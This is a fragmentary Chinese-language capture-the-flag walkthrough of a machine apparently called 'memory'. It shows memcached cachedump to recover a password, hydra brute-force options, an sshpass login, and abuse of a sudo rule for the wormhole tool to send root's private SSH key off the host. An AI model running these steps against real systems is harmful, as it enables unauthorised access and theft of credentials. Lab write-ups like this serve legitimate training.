stats items STAT items:1:number 1 STAT items:1:number_hot 0 STAT items:1:number_warm 0 STAT items:1:number_cold 1 STAT items:1:age_hot 0 STAT items:1:age_warm 0 STAT items:1:age 4065 STAT items:1:mem_requested 82 STAT items:1:evicted 0 STAT items:1:evicted_nonzero 0 STAT items:1:evicted_time 0 STAT items:1:outofmemory 0 STAT items:1:tailrepairs 0 STAT items:1:reclaimed 0 STAT items:1:expired_unfetched 0 STAT items:1:evicted_unfetched 0 STAT items:1:evicted_active 0 STAT items:1:crawler_reclaimed 0 STAT items:1:crawler_items_checked 11 STAT items:1:lrutail_reflocked 0 STAT items:1:moves_to_cold 1 STAT items:1:moves_to_warm 0 STAT items:1:moves_within_lru 0 STAT items:1:direct_reclaims 0 STAT items:1:hits_to_hot 0 STAT items:1:hits_to_warm 0 STAT items:1:hits_to_cold 0 STAT items:1:hits_to_temp 0 END
下载
找到了密码** NewPassword2025 ** 但不知道用户名
1 2 3 4 5 6 7
stats cachedump 1 0 ITEM password [15 b; 0 s] END get password VALUE password 0 15 NewPassword2025 END
指定爆破目标:协议为 SSH,目标 IP 为 192.168.1.68(对应 22 端口,SSH 默认端口可省略,非默认端口需格式化为 ssh://192.168.1.68:端口号)
-f
找到第一个有效用户名 + 密码组合后立即停止爆破(节省时间,适合只需获取一个有效账号的景)
-V
Print version information
2. 登录
1 2 3 4
➜ ~ sshpass -p 'NewPassword2025' ssh alan@192.168.3.25 -o StrictHostKeyChecking=no Warning: Permanently added '192.168.3.25' (ED25519) to the list of known hosts. alan@memory:~$ id uid=1000(alan) gid=1000(alan) grupos=1000(alan)
sshpass的核心作用是:让 ssh命令能够接受密码参数,实现非交互式登录。
4.权限提升
sudo
用户**alan** 可以用**sudo以root身份执行wormhole**命令
1 2 3 4 5 6
alan@memory:~$ sudo -l Matching Defaults entries for alan on memory: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User alan may run the following commands on memory: (root) NOPASSWD: /usr/bin/wormhole
Create a Magic Wormhole and communicate through it.
Wormholes are created by speaking the same magic CODE in two different places at the same time. Wormholes are secure against anyone who doesn't use the same code. Options: --appid APPID appid to use --relay-url URL rendezvous relay to use --transit-helper tcp:HOST:PORT transit relay to use --dump-timing FILE.json (debug) write timing data to file --version Show the version and exit. --help Show this message and exit. Commands: help receive Receive a text message, file, or directory (from 'wormhole send') send Send a text message, file, or directory ssh Facilitate sending/receiving SSH public keys
alan@memory:~$ sudo /usr/bin/wormhole send /root/.ssh/id_rsa Sending 2.6 kB file named 'id_rsa' Wormhole code is: 5-eskimo-cleanup On the other computer, please run:
wormhole receive 5-eskimo-cleanup
Sending (<-192.168.3.25:53750).. 100%|████████████████████████████████████████████████████████████████████████████████████████████| 2.59k/2.59k [00:00<00:00, 452kB/s] File sent.. waiting for confirmation Confirmation received. Transfer complete.
接收 (这里本地新开一个终端)
1 2 3 4 5 6 7
➜ ~ sshpass -p 'NewPassword2025' ssh alan@192.168.3.25 -o StrictHostKeyChecking=no alan@memory:~$ wormhole receive 5-eskimo-cleanup Receiving file (2.6 kB) into: id_rsa ok? (Y/n): Y Receiving (->tcp:192.168.3.25:36589).. 100%|███████████████████████████████████████████████████████████████████████████████████████████| 2.59k/2.59k [00:00<00:00, 12.4kB/s] Received file written to id_rsa